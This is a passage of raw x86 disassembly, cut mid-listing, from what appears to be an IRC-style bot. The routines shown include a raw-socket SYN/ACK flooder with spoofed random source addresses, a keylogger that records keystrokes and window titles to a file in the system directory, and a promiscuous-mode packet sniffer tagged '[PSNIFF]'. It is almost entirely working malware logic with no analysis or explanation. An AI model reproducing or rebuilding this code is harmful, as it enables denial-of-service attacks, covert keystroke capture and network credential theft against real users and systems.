-44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, ds:dword_422048 call edi ; GetTickCount push eax call sub_4154D2 pop ecx push 0FFh push 3 push 2 call ds:dword_4364E8 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401E4B call ds:dword_4363FC ; WSAGetLastError push eax lea eax, [ebp+var_440] push (offset loc_42441B+1) push eax call sub_415480 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401E2B push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40BAE7 add esp, 14h loc_401E2B: ; CODE XREF: sub_401D82+84j lea eax, [ebp+var_440] push eax call sub_40A5B3 push [ebp+var_BC] call sub_415248 pop ecx pop ecx push ebx call ds:dword_422044 ; ExitThread loc_401E4B: ; CODE XREF: sub_401D82+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call ds:dword_436448 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_401EC9 call ds:dword_4363FC ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset dword_4243D4 push eax call sub_415480 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401EA9 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40BAE7 add esp, 14h loc_401EA9: ; CODE XREF: sub_401D82+102j lea eax, [ebp+var_440] push eax call sub_40A5B3 push [ebp+var_BC] call sub_415248 pop ecx pop ecx push ebx call ds:dword_422044 ; ExitThread loc_401EC9: ; CODE XREF: sub_401D82+DFj lea eax, [ebp+var_23C] push eax call ds:dword_4364A8 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_401F39 lea eax, [ebp+var_440] push offset dword_4243A4 push eax call sub_415480 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401F19 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40BAE7 add esp, 14h loc_401F19: ; CODE XREF: sub_401D82+172j lea eax, [ebp+var_440] push eax call sub_40A5B3 push [ebp+var_BC] call sub_415248 pop ecx pop ecx push ebx call ds:dword_422044 ; ExitThread loc_401F39: ; CODE XREF: sub_401D82+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_415500 add esp, 0Ch mov [ebp+var_44], 2 push ebx call ds:dword_436468 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call ds:dword_4364A8 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax loc_401F71: ; CODE XREF: sub_401D82+430j call edi ; GetTickCount sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_402235 push 28h mov [ebp+var_2C], 45h call ds:dword_436468 ; htons cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401FE4 call sub_4154DC mov esi, eax shl esi, 8 call sub_4154DC add esi, eax shl esi, 8 call sub_4154DC add esi, eax shl esi, 8 call sub_4154DC add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_401FFA ; --------------------------------------------------------------------------- loc_401FE4: ; CODE XREF: sub_401D82+233j push [ebp+var_240] call sub_409526 pop ecx push eax call ds:dword_4364A8 ; inet_addr mov [ebp+var_20], eax loc_401FFA: ; CODE XREF: sub_401D82+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_402018 call sub_4154DC cdq mov ecx, 401h idiv ecx push edx jmp short loc_40201E ; --------------------------------------------------------------------------- loc_402018: ; CODE XREF: sub_401D82+284j push [ebp+var_B8] loc_40201E: ; CODE XREF: sub_401D82+294j call ds:dword_436468 ; htons mov [ebp+var_16], ax call sub_4154DC cdq mov ecx, 401h idiv ecx push edx call ds:dword_436468 ; htons push 12345678h mov [ebp+var_18], ax call ds:dword_436464 ; htonl mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_415A50 pop ecx test eax, eax pop ecx jz short loc_40206E mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40206E: ; CODE XREF: sub_401D82+2E1j lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_415A50 pop ecx test eax, eax pop ecx jz short loc_40208E mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_4020CA ; --------------------------------------------------------------------------- loc_40208E: ; CODE XREF: sub_401D82+301j lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_415A50 pop ecx test eax, eax pop ecx jz short loc_4020CA call sub_4154DC push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_4154DC push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_4020CA: ; CODE XREF: sub_401D82+2EAj ; sub_401D82+30Aj ... push 200h mov [ebp+var_C], 50h call ds:dword_436468 ; htons mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call ds:dword_436468 ; htons mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_415560 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_415560 lea eax, [ebp+var_A0] push 34h push eax call sub_40957F mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_415560 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_415560 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_415500 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40957F mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_415560 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call ds:dword_4364CC ; sendto cmp eax, 0FFFFFFFFh jz short loc_4021B7 inc [ebp+arg_0] jmp loc_401F71 ; --------------------------------------------------------------------------- loc_4021B7: ; CODE XREF: sub_401D82+42Bj push [ebp+var_4] call ds:dword_436500 ; closesocket call ds:dword_4363FC ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push (offset loc_424333+1) lea eax, [ebp+var_440] push 200h push eax call sub_4159FA add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_402215 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40BAE7 add esp, 14h loc_402215: ; CODE XREF: sub_401D82+46Ej lea eax, [ebp+var_440] push eax call sub_40A5B3 push [ebp+var_BC] call sub_415248 pop ecx pop ecx push ebx call ds:dword_422044 ; ExitThread loc_402235: ; CODE XREF: sub_401D82+203j push [ebp+var_4] call ds:dword_436500 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset loc_4242D4 push eax call sub_415480 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_4022A6 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40BAE7 add esp, 14h loc_4022A6: ; CODE XREF: sub_401D82+4FFj lea eax, [ebp+var_440] push eax call sub_40A5B3 push [ebp+var_BC] call sub_415248 pop ecx pop ecx push ebx call ds:dword_422044 ; ExitThread sub_401D82 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022C6 proc near ; CODE XREF: sub_4023A7+B4p ; sub_4023A7+253p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax call ds:dword_42205C ; GetLocalTime lea eax, [ebp+var_114] push 104h push eax call ds:dword_422058 ; GetSystemDirectoryA lea eax, [ebp+var_114] push offset asc_424C0C ; "\\" push eax call sub_415BA0 lea eax, [ebp+var_114] push offset dword_42AD9C push eax call sub_415BA0 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_415B78 mov esi, eax add esp, 18h test esi, esi jnz short loc_40232D push 1 pop eax jmp short loc_4023A4 ; --------------------------------------------------------------------------- loc_40232D: ; CODE XREF: sub_4022C6+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_415B26 push esi call sub_415AD0 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4023A2 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_424BCC push 200h push eax call sub_4159FA push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_40BAE7 add esp, 24h loc_4023A2: ; CODE XREF: sub_4022C6+A3j xor eax, eax loc_4023A4: ; CODE XREF: sub_4022C6+65j pop esi leave retn sub_4022C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023A7 proc near ; DATA XREF: sub_40D2E0+1F95o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call ds:dword_4363F0 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call ds:dword_436404 ; GetWindowTextA mov ebx, 200h loc_402402: ; CODE XREF: sub_4023A7+2C7j push 8 call ds:dword_422054 ; Sleep call ds:dword_4363F0 ; GetForegroundWindow cmp eax, [ebp+var_8] jz short loc_40248A lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call ds:dword_436404 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_415480 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_415500 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_415500 add esp, 0Ch loc_40248A: ; CODE XREF: sub_4023A7+6Cj mov [ebp+arg_0], (offset loc_424463+1) loc_402491: ; CODE XREF: sub_4023A7+2BDj push 10h call ds:dword_436348 ; GetKeyState movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call ds:dword_436434 ; GetAsyncKeyState test ah, 80h jz short loc_402529 push 14h call ds:dword_436348 ; GetKeyState test ax, ax jz short loc_4024DA cmp esi, 0FFFFFFFFh jle short loc_4024DA cmp edi, 40h jle short loc_4024DA cmp edi, 5Bh jge short loc_4024DA mov [ebp+edi*4+var_8DC], 1 jmp loc_402659 ; --------------------------------------------------------------------------- loc_4024DA: ; CODE XREF: sub_4023A7+112j ; sub_4023A7+117j ... push 14h call ds:dword_436348 ; GetKeyState test ax, ax jz short loc_402505 test esi, esi jge short loc_402519 cmp edi, 40h jle short loc_402505 cmp edi, 5Bh jge short loc_402505 mov [ebp+edi*4+var_8DC], 2 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402505: ; CODE XREF: sub_4023A7+13Ej ; sub_4023A7+147j ... test esi, esi jge short loc_402519 mov [ebp+edi*4+var_8DC], 3 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402519: ; CODE XREF: sub_4023A7+142j ; sub_4023A7+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_402659 ; --------------------------------------------------------------------------- loc_402529: ; CODE XREF: sub_4023A7+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_402659 and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_402561 call sub_415C80 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_402659 ; --------------------------------------------------------------------------- loc_402561: ; CODE XREF: sub_4023A7+1A5j call sub_415C80 cmp eax, 1B9h pop ecx jbe short loc_402593 call ds:dword_4363F0 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call ds:dword_436404 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4025D4 ; --------------------------------------------------------------------------- loc_402593: ; CODE XREF: sub_4023A7+1C5j cmp edi, 0Dh jnz loc_40262B lea eax, [ebp+var_2DC] push eax call sub_415C80 test eax, eax pop ecx jz loc_402659 call ds:dword_4363F0 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call ds:dword_436404 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_4025D4: ; CODE XREF: sub_4023A7+1EAj lea eax, [ebp+var_4DC] push eax call sub_415480 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4022C6 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_415500 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_415500 add esp, 0Ch jmp short loc_402659 ; --------------------------------------------------------------------------- loc_40262B: ; CODE XREF: sub_4023A7+1EFj cmp esi, 1 jz short loc_402644 cmp esi, 3 jz short loc_402644 cmp esi, 2 jz short loc_40263F cmp esi, 4 jnz short loc_402659 loc_40263F: ; CODE XREF: sub_4023A7+291j push [ebp+arg_0] jmp short loc_40264B ; --------------------------------------------------------------------------- loc_402644: ; CODE XREF: sub_4023A7+287j ; sub_4023A7+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_40264B: ; CODE XREF: sub_4023A7+29Bj lea eax, [ebp+var_2DC] push eax call sub_415BA0 pop ecx pop ecx loc_402659: ; CODE XREF: sub_4023A7+12Ej ; sub_4023A7+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_424B94 jl loc_402491 cmp [ebp+var_4], 0 jz loc_402402 push [ebp+var_D8] call sub_415248 pop ecx push 0 call ds:dword_422044 ; ExitThread sub_4023A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402688 proc near ; DATA XREF: sub_40D2E0+1DDBo var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_415D00 mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h lea eax, [ebp+var_1C] push esi push eax call sub_415500 add esp, 0Ch mov [ebp+var_1C], 2 push esi call ds:dword_436468 ; htons push [ebp+var_B4] mov [ebp+var_1A], ax call sub_409526 pop ecx push eax call ds:dword_4364A8 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call ds:dword_4364E8 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_40275D call ds:dword_4363FC ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset unk_4255F4 push eax call sub_415480 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402740 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40BAE7 add esp, 14h loc_402740: ; CODE XREF: sub_402688+96j lea eax, [ebp+var_2B4] push eax call sub_40A5B3 push [ebp+var_30] call sub_415248 pop ecx pop ecx push esi call ds:dword_422044 ; ExitThread loc_40275D: ; CODE XREF: sub_402688+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov ds:dword_43BECC[eax], edi lea eax, [ebp+var_1C] push eax push edi call ds:dword_436494 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4027E2 call ds:dword_4363FC ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset unk_4255B0 push eax call sub_415480 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_4027BE push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40BAE7 add esp, 14h loc_4027BE: ; CODE XREF: sub_402688+114j lea eax, [ebp+var_2B4] push eax call sub_40A5B3 pop ecx push edi call ds:dword_436500 ; closesocket push [ebp+var_30] call sub_415248 pop ecx push esi call ds:dword_422044 ; ExitThread loc_4027E2: ; CODE XREF: sub_402688+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call ds:dword_436414 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_402865 call ds:dword_4363FC ; WSAGetLastError push eax lea eax, [ebp+var_2B4] push offset unk_425568 push eax call sub_415480 add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_402841 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40BAE7 add esp, 14h loc_402841: ; CODE XREF: sub_402688+197j lea eax, [ebp+var_2B4] push eax call sub_40A5B3 pop ecx push edi call ds:dword_436500 ; closesocket push [ebp+var_30] call sub_415248 pop ecx push esi call ds:dword_422044 ; ExitThread loc_402865: ; CODE XREF: sub_402688+177j push ebx mov ebx, offset dword_424C68 loc_40286B: ; CODE XREF: sub_402688+21Bj ; sub_402688+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi push esi push eax call sub_415500 add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call ds:dword_436480 ; recv cmp eax, 0FFFFFFFFh jz loc_40297D cmp [ebp+var_102AB], 6 jnz short loc_40286B mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_40286B lea eax, [ebp+var_1028C] push offset aPsniff ; "[PSNIFF]" push eax call sub_415A50 pop ecx test eax, eax pop ecx jnz short loc_40286B mov eax, ebx xor edi, edi test eax, eax jz short loc_40286B mov [ebp+arg_0], ebx loc_4028D9: ; CODE XREF: sub_402688+26Cj push eax lea eax, [ebp+var_1028C] push eax call sub_415A50 pop ecx test eax, eax pop ecx jnz short loc_4028FB inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_4028D9 jmp loc_40286B ; --------------------------------------------------------------------------- loc_4028FB: ; CODE XREF: sub_402688+262j lea eax, [ebp+var_1028C] push eax push [ebp+var_102A0] call ds:dword_4363A4 ; htons movzx eax, ax push eax push [ebp+var_C] call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, ds:dword_424C7C[eax*8] push ds:off_424C58[eax*4] lea eax, [ebp+var_2B4] push offset unk_425518 push 200h push eax call sub_4159FA add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_40296B push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40BAE7 add esp, 14h loc_40296B: ; CODE XREF: sub_402688+2C1j lea eax, [ebp+var_2B4] push eax call sub_40A5B3 pop ecx jmp loc_40286B ; --------------------------------------------------------------------------- loc_40297D: ; CODE XREF: sub_402688+20Ej call ds:dword_4363FC ; WSAGetLastError push eax push offset unk_4254D4 lea eax, [ebp+var_2B4] push 200h push eax call sub_4159FA add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_4029C3 push esi lea eax, [ebp+var_2B4] push [ebp+var_2C] push eax lea eax, [ebp+var_B0] push eax push [ebp+var_B4] call sub_40BAE7 add esp, 14h loc_4029C3: ; CODE XREF: sub_402688+319j lea eax, [ebp+var_2B4] push eax call sub_40A5B3 pop ecx push [ebp+var_4] call ds:dword_436500 ; closesocket push [ebp+var_30] call sub_415248 pop ecx push esi call ds:dword_422044 ; ExitThread sub_402688 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4029E9 proc near ; CODE XREF: sub_402C5D+Ep ; sub_402C5D+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_4029E9 endp ; =============== S U B R O U T I N E ======================================= sub_4029F3 proc near ; CODE XREF: sub_402C5D+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_415D2F mov edi, eax pop ecx test edi, edi jz short loc_402A25 push ebx push 0 push edi call sub_415500 push ebx push [esp+1Ch+arg_0] push edi call sub_415560 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_402A25: ; CODE XREF: sub_4029F3+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_4029F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A2D proc near ; CODE XREF: sub_402B27+18p ; sub_402BA1+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_415D2F mov esi, eax pop ecx test esi, esi jz short loc_402A79 push edi push 0 push esi call sub_415500 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_415560 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_415560 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_402A79: ; CODE XREF: sub_402A2D+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_402A2D endp ; =============== S U B R O U T I N E ======================================= sub_402A82 proc near ; CODE XREF: sub_402B27+5Ep ; sub_402B27+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_402A92 push eax call sub_415DE1 pop ecx loc_402A92: ; CODE XREF: sub_402A82+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_402A82 endp ; =============== S U B R O U T I N E ======================================= sub_402A9B proc near ; CODE XREF: sub_402B27+20p ; sub_402C02+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_402AC8 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_415D2F mov edi, eax pop ecx test edi, edi jnz short loc_402ACC loc_402AC8: ; CODE XREF: sub_402A9B+Dj xor al, al jmp short loc_402B23 ; --------------------------------------------------------------------------- loc_402ACC: ; CODE XREF: sub_402A9B+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_415500 add esp, 0Ch cmp ebx, 1 jnz short loc_402AF1 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_402B0B ; --------------------------------------------------------------------------- loc_402AF1: ; CODE XREF: sub_402A9B+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_402B0B: ; CODE XREF: sub_402A9B+54j push eax call sub_415560 add esp, 0Ch push dword ptr [esi] call sub_415DE1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_402B23: ; CODE XREF: sub_402A9B+2Fj pop edi pop esi pop ebx retn sub_402A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B27 proc near ; CODE XREF: sub_402C5D+89p ; sub_402C5D+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4325D4 call sub_402A2D lea ecx, [ebp+var_8] call sub_402A9B mov eax, [ebp+var_4] inc eax push eax call sub_415D2F mov edi, eax pop ecx test edi, edi jnz short loc_402B61 xor al, al jmp short loc_402B9D ; --------------------------------------------------------------------------- loc_402B61: ; CODE XREF: sub_402B27+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_415500 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_415560 add esp, 18h mov ecx, esi call sub_402A82 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_402A82 mov al, 1 loc_402B9D: ; CODE XREF: sub_402B27+38j pop edi pop esi leave retn sub_402B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402BA1 proc near ; CODE XREF: sub_402BD5+14p ; sub_402BF2+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_402A2D mov ecx, esi call sub_402A82 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_402BA1 endp ; =============== S U B R O U T I N E ======================================= sub_402BD5 proc near ; CODE XREF: sub_402C5D+F0p ; sub_402C5D+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_415C80 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_402BA1 pop esi retn 4 sub_402BD5 endp ; =============== S U B R O U T I N E ======================================= sub_402BF2 proc near ; CODE XREF: sub_402C3E+Bp ; sub_402C5D+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_402BA1 retn 8 sub_402BF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C02 proc near ; CODE XREF: sub_402C3E+16p ; sub_402C5D+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_402A9B test al, al jz short loc_402C3B push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4259A3+1) call sub_402A2D mov ecx, esi call sub_402A82 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_402C3B: ; CODE XREF: sub_402C02+Fj pop esi leave retn sub_402C02 endp ; =============== S U B R O U T I N E ======================================= sub_402C3E proc near ; CODE XREF: sub_402C5D+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, 